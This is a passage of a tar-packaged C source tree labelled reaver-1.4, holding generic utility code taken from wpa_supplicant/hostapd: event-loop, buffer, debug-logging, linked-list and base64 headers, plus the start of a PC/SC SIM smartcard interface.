eloop_register_read_sock(int sock, eloop_sock_handler handler, void *eloop_data, void *user_data); /** * eloop_unregister_read_sock - Unregister handler for read events * @sock: File descriptor number for the socket * * Unregister a read socket notifier that was previously registered with * eloop_register_read_sock(). */ void eloop_unregister_read_sock(int sock); /** * eloop_register_sock - Register handler for socket events * @sock: File descriptor number for the socket * @type: Type of event to wait for * @handler: Callback function to be called when the event is triggered * @eloop_data: Callback context data (eloop_ctx) * @user_data: Callback context data (sock_ctx) * Returns: 0 on success, -1 on failure * * Register an event notifier for the given socket's file descriptor. The * handler function will be called whenever the that event is triggered for the * socket. The handler function is responsible for clearing the event after * having processed it in order to avoid eloop from calling the handler again * for the same event. */ int eloop_register_sock(int sock, eloop_event_type type, eloop_sock_handler handler, void *eloop_data, void *user_data); /** * eloop_unregister_sock - Unregister handler for socket events * @sock: File descriptor number for the socket * @type: Type of event for which sock was registered * * Unregister a socket event notifier that was previously registered with * eloop_register_sock(). */ void eloop_unregister_sock(int sock, eloop_event_type type); /** * eloop_register_event - Register handler for generic events * @event: Event to wait (eloop implementation specific) * @event_size: Size of event data * @handler: Callback function to be called when event is triggered * @eloop_data: Callback context data (eloop_data) * @user_data: Callback context data (user_data) * Returns: 0 on success, -1 on failure * * Register an event handler for the given event. This function is used to * register eloop implementation specific events which are mainly targetted for * operating system specific code (driver interface and l2_packet) since the * portable code will not be able to use such an OS-specific call. The handler * function will be called whenever the event is triggered. The handler * function is responsible for clearing the event after having processed it in * order to avoid eloop from calling the handler again for the same event. * * In case of Windows implementation (eloop_win.c), event pointer is of HANDLE * type, i.e., void*. The callers are likely to have 'HANDLE h' type variable, * and they would call this function with eloop_register_event(h, sizeof(h), * ...). */ int eloop_register_event(void *event, size_t event_size, eloop_event_handler handler, void *eloop_data, void *user_data); /** * eloop_unregister_event - Unregister handler for a generic event * @event: Event to cancel (eloop implementation specific) * @event_size: Size of event data * * Unregister a generic event notifier that was previously registered with * eloop_register_event(). */ void eloop_unregister_event(void *event, size_t event_size); /** * eloop_register_timeout - Register timeout * @secs: Number of seconds to the timeout * @usecs: Number of microseconds to the timeout * @handler: Callback function to be called when timeout occurs * @eloop_data: Callback context data (eloop_ctx) * @user_data: Callback context data (sock_ctx) * Returns: 0 on success, -1 on failure * * Register a timeout that will cause the handler function to be called after * given time. */ int eloop_register_timeout(unsigned int secs, unsigned int usecs, eloop_timeout_handler handler, void *eloop_data, void *user_data); /** * eloop_cancel_timeout - Cancel timeouts * @handler: Matching callback function * @eloop_data: Matching eloop_data or %ELOOP_ALL_CTX to match all * @user_data: Matching user_data or %ELOOP_ALL_CTX to match all * Returns: Number of cancelled timeouts * * Cancel matching timeouts registered with * eloop_register_timeout(). ELOOP_ALL_CTX can be used as a wildcard for * cancelling all timeouts regardless of eloop_data/user_data. */ int eloop_cancel_timeout(eloop_timeout_handler handler, void *eloop_data, void *user_data); /** * eloop_is_timeout_registered - Check if a timeout is already registered * @handler: Matching callback function * @eloop_data: Matching eloop_data * @user_data: Matching user_data * Returns: 1 if the timeout is registered, 0 if the timeout is not registered * * Determine if a matching timeout is registered * with eloop_register_timeout(). */ int eloop_is_timeout_registered(eloop_timeout_handler handler, void *eloop_data, void *user_data); /** * eloop_register_signal - Register handler for signals * @sig: Signal number (e.g., SIGHUP) * @handler: Callback function to be called when the signal is received * @user_data: Callback context data (signal_ctx) * Returns: 0 on success, -1 on failure * * Register a callback function that will be called when a signal is received. * The callback function is actually called only after the system signal * handler has returned. This means that the normal limits for sighandlers * (i.e., only "safe functions" allowed) do not apply for the registered * callback. */ int eloop_register_signal(int sig, eloop_signal_handler handler, void *user_data); /** * eloop_register_signal_terminate - Register handler for terminate signals * @handler: Callback function to be called when the signal is received * @user_data: Callback context data (signal_ctx) * Returns: 0 on success, -1 on failure * * Register a callback function that will be called when a process termination * signal is received. The callback function is actually called only after the * system signal handler has returned. This means that the normal limits for * sighandlers (i.e., only "safe functions" allowed) do not apply for the * registered callback. * * This function is a more portable version of eloop_register_signal() since * the knowledge of exact details of the signals is hidden in eloop * implementation. In case of operating systems using signal(), this function * registers handlers for SIGINT and SIGTERM. */ int eloop_register_signal_terminate(eloop_signal_handler handler, void *user_data); /** * eloop_register_signal_reconfig - Register handler for reconfig signals * @handler: Callback function to be called when the signal is received * @user_data: Callback context data (signal_ctx) * Returns: 0 on success, -1 on failure * * Register a callback function that will be called when a reconfiguration / * hangup signal is received. The callback function is actually called only * after the system signal handler has returned. This means that the normal * limits for sighandlers (i.e., only "safe functions" allowed) do not apply * for the registered callback. * * This function is a more portable version of eloop_register_signal() since * the knowledge of exact details of the signals is hidden in eloop * implementation. In case of operating systems using signal(), this function * registers a handler for SIGHUP. */ int eloop_register_signal_reconfig(eloop_signal_handler handler, void *user_data); /** * eloop_run - Start the event loop * * Start the event loop and continue running as long as there are any * registered event handlers. This function is run after event loop has been * initialized with event_init() and one or more events have been registered. */ void eloop_run(void); /** * eloop_terminate - Terminate event loop * * Terminate event loop even if there are registered events. This can be used * to request the program to be terminated cleanly. */ void eloop_terminate(void); /** * eloop_destroy - Free any resources allocated for the event loop * * After calling eloop_destroy(), other eloop_* functions must not be called * before re-running eloop_init(). */ void eloop_destroy(void); /** * eloop_terminated - Check whether event loop has been terminated * Returns: 1 = event loop terminate, 0 = event loop still running * * This function can be used to check whether eloop_terminate() has been called * to request termination of the event loop. This is normally used to abort * operations that may still be queued to be run when eloop_terminate() was * called. */ int eloop_terminated(void); /** * eloop_wait_for_read_sock - Wait for a single reader * @sock: File descriptor number for the socket * * Do a blocking wait for a single read socket. */ void eloop_wait_for_read_sock(int sock); #endif /* ELOOP_H */ reaver-1.4/src/utils/wpabuf.c0000755000175000017500000001540511705505257015572 0ustar reaverreaver/* * Dynamic data buffer * Copyright (c) 2007-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "trace.h" #include "wpabuf.h" #ifdef WPA_TRACE #define WPABUF_MAGIC 0x51a974e3 struct wpabuf_trace { unsigned int magic; }; static struct wpabuf_trace * wpabuf_get_trace(const struct wpabuf *buf) { return (struct wpabuf_trace *) ((const u8 *) buf - sizeof(struct wpabuf_trace)); } #endif /* WPA_TRACE */ static void wpabuf_overflow(const struct wpabuf *buf, size_t len) { #ifdef WPA_TRACE struct wpabuf_trace *trace = wpabuf_get_trace(buf); if (trace->magic != WPABUF_MAGIC) { wpa_printf(MSG_ERROR, "wpabuf: invalid magic %x", trace->magic); } #endif /* WPA_TRACE */ wpa_printf(MSG_ERROR, "wpabuf %p (size=%lu used=%lu) overflow len=%lu", buf, (unsigned long) buf->size, (unsigned long) buf->used, (unsigned long) len); wpa_trace_show("wpabuf overflow"); abort(); } int wpabuf_resize(struct wpabuf **_buf, size_t add_len) { struct wpabuf *buf = *_buf; #ifdef WPA_TRACE struct wpabuf_trace *trace; #endif /* WPA_TRACE */ if (buf == NULL) { *_buf = wpabuf_alloc(add_len); return *_buf == NULL ? -1 : 0; } #ifdef WPA_TRACE trace = wpabuf_get_trace(buf); if (trace->magic != WPABUF_MAGIC) { wpa_printf(MSG_ERROR, "wpabuf: invalid magic %x", trace->magic); wpa_trace_show("wpabuf_resize invalid magic"); abort(); } #endif /* WPA_TRACE */ if (buf->used + add_len > buf->size) { unsigned char *nbuf; if (buf->ext_data) { nbuf = os_realloc(buf->ext_data, buf->used + add_len); if (nbuf == NULL) return -1; os_memset(nbuf + buf->used, 0, add_len); buf->ext_data = nbuf; } else { #ifdef WPA_TRACE nbuf = os_realloc(trace, sizeof(struct wpabuf_trace) + sizeof(struct wpabuf) + buf->used + add_len); if (nbuf == NULL) return -1; trace = (struct wpabuf_trace *) nbuf; buf = (struct wpabuf *) (trace + 1); os_memset(nbuf + sizeof(struct wpabuf_trace) + sizeof(struct wpabuf) + buf->used, 0, add_len); #else /* WPA_TRACE */ nbuf = os_realloc(buf, sizeof(struct wpabuf) + buf->used + add_len); if (nbuf == NULL) return -1; buf = (struct wpabuf *) nbuf; os_memset(nbuf + sizeof(struct wpabuf) + buf->used, 0, add_len); #endif /* WPA_TRACE */ *_buf = buf; } buf->size = buf->used + add_len; } return 0; } /** * wpabuf_alloc - Allocate a wpabuf of the given size * @len: Length for the allocated buffer * Returns: Buffer to the allocated wpabuf or %NULL on failure */ struct wpabuf * wpabuf_alloc(size_t len) { #ifdef WPA_TRACE struct wpabuf_trace *trace = os_zalloc(sizeof(struct wpabuf_trace) + sizeof(struct wpabuf) + len); struct wpabuf *buf; if (trace == NULL) return NULL; trace->magic = WPABUF_MAGIC; buf = (struct wpabuf *) (trace + 1); #else /* WPA_TRACE */ struct wpabuf *buf = os_zalloc(sizeof(struct wpabuf) + len); if (buf == NULL) return NULL; #endif /* WPA_TRACE */ buf->size = len; return buf; } struct wpabuf * wpabuf_alloc_ext_data(u8 *data, size_t len) { #ifdef WPA_TRACE struct wpabuf_trace *trace = os_zalloc(sizeof(struct wpabuf_trace) + sizeof(struct wpabuf)); struct wpabuf *buf; if (trace == NULL) return NULL; trace->magic = WPABUF_MAGIC; buf = (struct wpabuf *) (trace + 1); #else /* WPA_TRACE */ struct wpabuf *buf = os_zalloc(sizeof(struct wpabuf)); if (buf == NULL) return NULL; #endif /* WPA_TRACE */ buf->size = len; buf->used = len; buf->ext_data = data; return buf; } struct wpabuf * wpabuf_alloc_copy(const void *data, size_t len) { struct wpabuf *buf = wpabuf_alloc(len); if (buf) wpabuf_put_data(buf, data, len); return buf; } struct wpabuf * wpabuf_dup(const struct wpabuf *src) { struct wpabuf *buf = wpabuf_alloc(wpabuf_len(src)); if (buf) wpabuf_put_data(buf, wpabuf_head(src), wpabuf_len(src)); return buf; } /** * wpabuf_free - Free a wpabuf * @buf: wpabuf buffer */ void wpabuf_free(struct wpabuf *buf) { #ifdef WPA_TRACE struct wpabuf_trace *trace; if (buf == NULL) return; trace = wpabuf_get_trace(buf); if (trace->magic != WPABUF_MAGIC) { wpa_printf(MSG_ERROR, "wpabuf_free: invalid magic %x", trace->magic); wpa_trace_show("wpabuf_free magic mismatch"); abort(); } os_free(buf->ext_data); os_free(trace); #else /* WPA_TRACE */ if (buf == NULL) return; os_free(buf->ext_data); os_free(buf); #endif /* WPA_TRACE */ } void * wpabuf_put(struct wpabuf *buf, size_t len) { void *tmp = wpabuf_mhead_u8(buf) + wpabuf_len(buf); buf->used += len; if (buf->used > buf->size) { wpabuf_overflow(buf, len); } return tmp; } /** * wpabuf_concat - Concatenate two buffers into a newly allocated one * @a: First buffer * @b: Second buffer * Returns: wpabuf with concatenated a + b data or %NULL on failure * * Both buffers a and b will be freed regardless of the return value. Input * buffers can be %NULL which is interpreted as an empty buffer. */ struct wpabuf * wpabuf_concat(struct wpabuf *a, struct wpabuf *b) { struct wpabuf *n = NULL; size_t len = 0; if (b == NULL) return a; if (a) len += wpabuf_len(a); if (b) len += wpabuf_len(b); n = wpabuf_alloc(len); if (n) { if (a) wpabuf_put_buf(n, a); if (b) wpabuf_put_buf(n, b); } wpabuf_free(a); wpabuf_free(b); return n; } /** * wpabuf_zeropad - Pad buffer with 0x00 octets (prefix) to specified length * @buf: Buffer to be padded * @len: Length for the padded buffer * Returns: wpabuf padded to len octets or %NULL on failure * * If buf is longer than len octets or of same size, it will be returned as-is. * Otherwise a new buffer is allocated and prefixed with 0x00 octets followed * by the source data. The source buffer will be freed on error, i.e., caller * will only be responsible on freeing the returned buffer. If buf is %NULL, * %NULL will be returned. */ struct wpabuf * wpabuf_zeropad(struct wpabuf *buf, size_t len) { struct wpabuf *ret; size_t blen; if (buf == NULL) return NULL; blen = wpabuf_len(buf); if (blen >= len) return buf; ret = wpabuf_alloc(len); if (ret) { os_memset(wpabuf_put(ret, len - blen), 0, len - blen); wpabuf_put_buf(ret, buf); } wpabuf_free(buf); return ret; } void wpabuf_printf(struct wpabuf *buf, char *fmt, ...) { va_list ap; void *tmp = wpabuf_mhead_u8(buf) + wpabuf_len(buf); int res; va_start(ap, fmt); res = vsnprintf(tmp, buf->size - buf->used, fmt, ap); va_end(ap); if (res < 0 || (size_t) res >= buf->size - buf->used) wpabuf_overflow(buf, res); buf->used += res; } reaver-1.4/src/utils/wpa_debug.h0000755000175000017500000002067411705505257016254 0ustar reaverreaver/* * wpa_supplicant/hostapd / Debug prints * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPA_DEBUG_H #define WPA_DEBUG_H #include "wpabuf.h" /* Debugging function - conditional printf and hex dump. Driver wrappers can * use these for debugging purposes. */ enum { MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR }; #ifdef CONFIG_NO_STDOUT_DEBUG #define wpa_debug_print_timestamp() do { } while (0) #define wpa_printf(args...) do { } while (0) #define wpa_hexdump(l,t,b,le) do { } while (0) #define wpa_hexdump_buf(l,t,b) do { } while (0) #define wpa_hexdump_key(l,t,b,le) do { } while (0) #define wpa_hexdump_buf_key(l,t,b) do { } while (0) #define wpa_hexdump_ascii(l,t,b,le) do { } while (0) #define wpa_hexdump_ascii_key(l,t,b,le) do { } while (0) #define wpa_debug_open_file(p) do { } while (0) #define wpa_debug_close_file() do { } while (0) #else /* CONFIG_NO_STDOUT_DEBUG */ int wpa_debug_open_file(const char *path); void wpa_debug_close_file(void); /** * wpa_debug_printf_timestamp - Print timestamp for debug output * * This function prints a timestamp in seconds_from_1970.microsoconds * format if debug output has been configured to include timestamps in debug * messages. */ void wpa_debug_print_timestamp(void); /** * wpa_printf - conditional printf * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. * * Note: New line '\n' is added to the end of the text when printing to stdout. */ void wpa_printf(int level, const char *fmt, ...) PRINTF_FORMAT(2, 3); /** * wpa_hexdump - conditional hex dump * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump. */ void wpa_hexdump(int level, const char *title, const u8 *buf, size_t len); static inline void wpa_hexdump_buf(int level, const char *title, const struct wpabuf *buf) { wpa_hexdump(level, title, wpabuf_head(buf), wpabuf_len(buf)); } /** * wpa_hexdump_key - conditional hex dump, hide keys * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump. This works * like wpa_hexdump(), but by default, does not include secret keys (passwords, * etc.) in debug output. */ void wpa_hexdump_key(int level, const char *title, const u8 *buf, size_t len); static inline void wpa_hexdump_buf_key(int level, const char *title, const struct wpabuf *buf) { wpa_hexdump_key(level, title, wpabuf_head(buf), wpabuf_len(buf)); } /** * wpa_hexdump_ascii - conditional hex dump * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump with both * the hex numbers and ASCII characters (for printable range) are shown. 16 * bytes per line will be shown. */ void wpa_hexdump_ascii(int level, const char *title, const u8 *buf, size_t len); /** * wpa_hexdump_ascii_key - conditional hex dump, hide keys * @level: priority level (MSG_*) of the message * @title: title of for the message * @buf: data buffer to be dumped * @len: length of the buf * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. The contents of buf is printed out has hex dump with both * the hex numbers and ASCII characters (for printable range) are shown. 16 * bytes per line will be shown. This works like wpa_hexdump_ascii(), but by * default, does not include secret keys (passwords, etc.) in debug output. */ void wpa_hexdump_ascii_key(int level, const char *title, const u8 *buf, size_t len); #endif /* CONFIG_NO_STDOUT_DEBUG */ #ifdef CONFIG_NO_WPA_MSG #define wpa_msg(args...) do { } while (0) #define wpa_msg_ctrl(args...) do { } while (0) #define wpa_msg_register_cb(f) do { } while (0) #else /* CONFIG_NO_WPA_MSG */ /** * wpa_msg - Conditional printf for default target and ctrl_iface monitors * @ctx: Pointer to context data; this is the ctx variable registered * with struct wpa_driver_ops::init() * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. This function is like wpa_printf(), but it also sends the * same message to all attached ctrl_iface monitors. * * Note: New line '\n' is added to the end of the text when printing to stdout. */ void wpa_msg(void *ctx, int level, const char *fmt, ...) PRINTF_FORMAT(3, 4); /** * wpa_msg_ctrl - Conditional printf for ctrl_iface monitors * @ctx: Pointer to context data; this is the ctx variable registered * with struct wpa_driver_ops::init() * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. * This function is like wpa_msg(), but it sends the output only to the * attached ctrl_iface monitors. In other words, it can be used for frequent * events that do not need to be sent to syslog. */ void wpa_msg_ctrl(void *ctx, int level, const char *fmt, ...) PRINTF_FORMAT(3, 4); typedef void (*wpa_msg_cb_func)(void *ctx, int level, const char *txt, size_t len); /** * wpa_msg_register_cb - Register callback function for wpa_msg() messages * @func: Callback function (%NULL to unregister) */ void wpa_msg_register_cb(wpa_msg_cb_func func); #endif /* CONFIG_NO_WPA_MSG */ #ifdef CONFIG_NO_HOSTAPD_LOGGER #define hostapd_logger(args...) do { } while (0) #define hostapd_logger_register_cb(f) do { } while (0) #else /* CONFIG_NO_HOSTAPD_LOGGER */ void hostapd_logger(void *ctx, const u8 *addr, unsigned int module, int level, const char *fmt, ...) PRINTF_FORMAT(5, 6); typedef void (*hostapd_logger_cb_func)(void *ctx, const u8 *addr, unsigned int module, int level, const char *txt, size_t len); /** * hostapd_logger_register_cb - Register callback function for hostapd_logger() * @func: Callback function (%NULL to unregister) */ void hostapd_logger_register_cb(hostapd_logger_cb_func func); #endif /* CONFIG_NO_HOSTAPD_LOGGER */ #define HOSTAPD_MODULE_IEEE80211 0x00000001 #define HOSTAPD_MODULE_IEEE8021X 0x00000002 #define HOSTAPD_MODULE_RADIUS 0x00000004 #define HOSTAPD_MODULE_WPA 0x00000008 #define HOSTAPD_MODULE_DRIVER 0x00000010 #define HOSTAPD_MODULE_IAPP 0x00000020 #define HOSTAPD_MODULE_MLME 0x00000040 enum hostapd_logger_level { HOSTAPD_LEVEL_DEBUG_VERBOSE = 0, HOSTAPD_LEVEL_DEBUG = 1, HOSTAPD_LEVEL_INFO = 2, HOSTAPD_LEVEL_NOTICE = 3, HOSTAPD_LEVEL_WARNING = 4 }; #ifdef CONFIG_DEBUG_SYSLOG void wpa_debug_open_syslog(void); void wpa_debug_close_syslog(void); #else /* CONFIG_DEBUG_SYSLOG */ static inline void wpa_debug_open_syslog(void) { } static inline void wpa_debug_close_syslog(void) { } #endif /* CONFIG_DEBUG_SYSLOG */ #ifdef EAPOL_TEST #define WPA_ASSERT(a) \ do { \ if (!(a)) { \ printf("WPA_ASSERT FAILED '" #a "' " \ "%s %s:%d\n", \ __FUNCTION__, __FILE__, __LINE__); \ exit(1); \ } \ } while (0) #else #define WPA_ASSERT(a) do { } while (0) #endif #endif /* WPA_DEBUG_H */ reaver-1.4/src/utils/list.h0000755000175000017500000000421511705505257015263 0ustar reaverreaver/* * Doubly-linked list * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef LIST_H #define LIST_H /** * struct dl_list - Doubly-linked list */ struct dl_list { struct dl_list *next; struct dl_list *prev; }; static inline void dl_list_init(struct dl_list *list) { list->next = list; list->prev = list; } static inline void dl_list_add(struct dl_list *list, struct dl_list *item) { item->next = list->next; item->prev = list; list->next->prev = item; list->next = item; } static inline void dl_list_add_tail(struct dl_list *list, struct dl_list *item) { dl_list_add(list->prev, item); } static inline void dl_list_del(struct dl_list *item) { item->next->prev = item->prev; item->prev->next = item->next; item->next = NULL; item->prev = NULL; } static inline int dl_list_empty(struct dl_list *list) { return list->next == list; } static inline unsigned int dl_list_len(struct dl_list *list) { struct dl_list *item; int count = 0; for (item = list->next; item != list; item = item->next) count++; return count; } #ifndef offsetof #define offsetof(type, member) ((long) &((type *) 0)->member) #endif #define dl_list_entry(item, type, member) \ ((type *) ((char *) item - offsetof(type, member))) #define dl_list_first(list, type, member) \ (dl_list_empty((list)) ? NULL : \ dl_list_entry((list)->next, type, member)) #define dl_list_for_each(item, list, type, member) \ for (item = dl_list_entry((list)->next, type, member); \ &item->member != (list); \ item = dl_list_entry(item->member.next, type, member)) #define dl_list_for_each_safe(item, n, list, type, member) \ for (item = dl_list_entry((list)->next, type, member), \ n = dl_list_entry(item->member.next, type, member); \ &item->member != (list); \ item = n, n = dl_list_entry(n->member.next, type, member)) #endif /* LIST_H */ reaver-1.4/src/utils/base64.h0000755000175000017500000000123311705505257015371 0ustar reaverreaver/* * Base64 encoding/decoding (RFC1341) * Copyright (c) 2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef BASE64_H #define BASE64_h unsigned char * base64_encode(const unsigned char *src, size_t len, size_t *out_len); unsigned char * base64_decode(const unsigned char *src, size_t len, size_t *out_len); #endif /* BASE64_H */ reaver-1.4/src/utils/pcsc_funcs.c0000755000175000017500000010112011705505257016422 0ustar reaverreaver/* * WPA Supplicant / PC/SC smartcard interface for USIM, GSM SIM * Copyright (c) 2004-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file implements wrapper functions for accessing GSM SIM and 3GPP USIM * cards through PC/SC smartcard library. These functions are used to implement * authentication routines for EAP-SIM and EAP-AKA. */ #include "includes.h" #include #include "common.h" #include "pcsc_funcs.h" /* See ETSI GSM 11.11 and ETSI TS 102 221 for details. * SIM commands: * Command APDU: CLA INS P1 P2 P3 Data * CLA (class of instruction): A0 for GSM, 00 for USIM * INS (instruction) * P1 P2 P3 (parameters, P3 = length of Data) * Response APDU: Data SW1 SW2 * SW1 SW2 (Status words) * Commands (INS P1 P2 P3): * SELECT: A4 00 00 02 * GET RESPONSE: C0 00 00 * RUN GSM ALG: 88 00 00 00 * RUN UMTS ALG: 88 00 81 data: 0x10 | RAND | 0x10 | AUTN * P1 = ID of alg in card * P2 = ID of secret key * READ BINARY: B0 * READ RECORD: B2 * P2 (mode) = '02' (next record), '03' (previous record), * '04' (absolute mode) * VERIFY CHV: 20 00 08 * CHANGE CHV: 24 00 10 * DISABLE CHV: 26 00 01 08 * ENABLE CHV: 28 00 01 08 * UNBLOCK CHV: 2C 00 <00=CHV1, 02=CHV2> 10 * SLEEP: FA 00 00 00 */ /* GSM SIM commands */ #define SIM_CMD_SELECT 0xa0, 0xa4, 0x00, 0x00, 0x02 #define SIM_CMD_RUN_GSM_ALG 0xa0, 0x88, 0x00, 0x00, 0x10 #define SIM_CMD_GET_RESPONSE 0xa0, 0xc0, 0x00, 0x00 #define SIM_CMD_READ_BIN 0xa0, 0xb0, 0x00, 0x00 #define SIM_CMD_READ_RECORD 0xa0, 0xb2, 0x00, 0x00 #define SIM_CMD_VERIFY_CHV1 0xa0, 0x20, 0x00, 0x01, 0x08 /* USIM commands */ #define USIM_CLA 0x00 #define USIM_CMD_RUN_UMTS_ALG 0x00, 0x88, 0x00, 0x81, 0x22 #define USIM_CMD_GET_RESPONSE 0x00, 0xc0, 0x00, 0x00 #define SIM_RECORD_MODE_ABSOLUTE 0x04 #define USIM_FSP_TEMPL_TAG 0x62 #define USIM_TLV_FILE_DESC 0x82 #define USIM_TLV_FILE_ID 0x83 #define USIM_TLV_DF_NAME 0x84 #define USIM_TLV_PROPR_INFO 0xA5 #define USIM_TLV_LIFE_CYCLE_STATUS 0x8A #define USIM_TLV_FILE_SIZE 0x80 #define USIM_TLV_TOTAL_FILE_SIZE 0x81 #define USIM_TLV_PIN_STATUS_TEMPLATE 0xC6 #define USIM_TLV_SHORT_FILE_ID 0x88 #define USIM_PS_DO_TAG 0x90 #define AKA_RAND_LEN 16 #define AKA_AUTN_LEN 16 #define AKA_AUTS_LEN 14 #define RES_MAX_LEN 16 #define IK_LEN 16 #define CK_LEN 16 typedef enum { SCARD_GSM_SIM, SCARD_USIM } sim_types; struct scard_data { SCARDCONTEXT ctx; SCARDHANDLE card; DWORD protocol; sim_types sim_type; int pin1_required; }; #ifdef __MINGW32_VERSION /* MinGW does not yet support WinScard, so load the needed functions * dynamically from winscard.dll for now. */ static HINSTANCE dll = NULL; /* winscard.dll */ static const SCARD_IO_REQUEST *dll_g_rgSCardT0Pci, *dll_g_rgSCardT1Pci; #undef SCARD_PCI_T0 #define SCARD_PCI_T0 (dll_g_rgSCardT0Pci) #undef SCARD_PCI_T1 #define SCARD_PCI_T1 (dll_g_rgSCardT1Pci) static WINSCARDAPI LONG WINAPI (*dll_SCardEstablishContext)(IN DWORD dwScope, IN LPCVOID pvReserved1, IN LPCVOID pvReserved2, OUT LPSCARDCONTEXT phContext); #define SCardEstablishContext dll_SCardEstablishContext static long (*dll_SCardReleaseContext)(long hContext); #define SCardReleaseContext dll_SCardReleaseContext static WINSCARDAPI LONG WINAPI (*dll_SCardListReadersA)(IN SCARDCONTEXT hContext, IN LPCSTR mszGroups, OUT LPSTR mszReaders, IN OUT LPDWORD pcchReaders); #undef SCardListReaders #define SCardListReaders dll_SCardListReadersA static WINSCARDAPI LONG WINAPI (*dll_SCardConnectA)(IN SCARDCONTEXT hContext, IN LPCSTR szReader, IN DWORD dwShareMode, IN DWORD dwPreferredProtocols, OUT LPSCARDHANDLE phCard, OUT LPDWORD pdwActiveProtocol); #undef SCardConnect #define SCardConnect dll_SCardConnectA static WINSCARDAPI LONG WINAPI (*dll_SCardDisconnect)(IN SCARDHANDLE hCard, IN DWORD dwDisposition); #define SCardDisconnect dll_SCardDisconnect static WINSCARDAPI LONG WINAPI (*dll_SCardTransmit)(IN SCARDHANDLE hCard, IN LPCSCARD_IO_REQUEST pioSendPci, IN LPCBYTE pbSendBuffer, IN DWORD cbSendLength, IN OUT LPSCARD_IO_REQUEST pioRecvPci, OUT LPBYTE pbRecvBuffer, IN OUT LPDWORD pcbRecvLength); #define SCardTransmit dll_SCardTransmit static WINSCARDAPI LONG WINAPI (*dll_SCardBeginTransaction)(IN SCARDHANDLE hCard); #define SCardBeginTransaction dll_SCardBeginTransaction static WINSCARDAPI LONG WINAPI (*dll_SCardEndTransaction)(IN SCARDHANDLE hCard, IN DWORD dwDisposition); #define SCardEndTransaction dll_SCardEndTransaction static int mingw_load_symbols(void) { char *sym; if (dll) return 0; dll = LoadLibrary("winscard"); if (dll == NULL) { wpa_printf(MSG_DEBUG, "WinSCard: Could not load winscard.dll " "library"); return -1; } #define LOADSYM(s) \ sym = #s; \ dll_ ## s = (void *) GetProcAddress(dll, sym); \ if (dll_ ## s == NULL) \ goto fail; LOADSYM(SCardEstablishContext); LOADSYM(SCardReleaseContext); LOADSYM(SCardListReadersA); LOADSYM(SCardConnectA); LOADSYM(SCardDisconnect); LOADSYM(SCardTransmit); LOADSYM(SCardBeginTransaction); LOADSYM(SCardEndTransaction); LOADSYM(g_rgSCardT0Pci); LOADSYM(g_rgSCardT1Pci); #undef LOADSYM return 0; fail: wpa_printf(MSG_DEBUG, "WinSCard: Could not get address for %s from " "winscard.dll", sym); FreeLibrary(dll); dll = NULL; return -1; } static void mingw_unload_symbols(void) { if (dll == NULL) return; FreeLibrary(dll); dll = NULL; } #else /* __MINGW32_VERSION */ #define mingw_load_symbols() 0 #define mingw_unload_symbols() do { } while (0) #endif /* __MINGW32_VERSION */ static int _scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len, sim_types sim_type, unsigned char *aid, size_t aidlen); static int scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len); static int scard_verify_pin(struct scard_data *scard, const char *pin); static int scard_get_record_len(struct scard_data *scard, unsigned char recnum, unsigned char mode); static int scard_read_record(struct scard_data *scard, unsigned char *data, size_t len, unsigned char recnum, unsigned char mode); static int scard_parse_fsp_templ(unsigned char *buf, size_t buf_len, int *ps_do, int *file_len) { unsigned char *pos, *end; if (ps_do) *ps_do = -1; if (file_len) *file_len = -1; pos = buf; end = pos + buf_len; if (*pos != USIM_FSP_TEMPL_TAG) { wpa_printf(MSG_DEBUG, "SCARD: file header did not " "start with FSP template tag"); return -1; } pos++; if (pos >= end) return -1; if ((pos + pos[0]) < end) end = pos + 1 + pos[0]; pos++; wpa_hexdump(MSG_DEBUG, "SCARD: file header FSP template", pos, end - pos); while (pos + 1 < end) { wpa_printf(MSG_MSGDUMP, "SCARD: file header TLV " "0x%02x len=%d", pos[0], pos[1]); if (pos + 2 + pos[1] > end) break; if (pos[0] == USIM_TLV_FILE_SIZE && (pos[1] == 1 || pos[1] == 2) && file_len) { if (pos[1] == 1) *file_len = (int) pos[2]; else *file_len = ((int) pos[2] << 8) | (int) pos[3]; wpa_printf(MSG_DEBUG, "SCARD: file_size=%d", *file_len); } if (pos[0] == 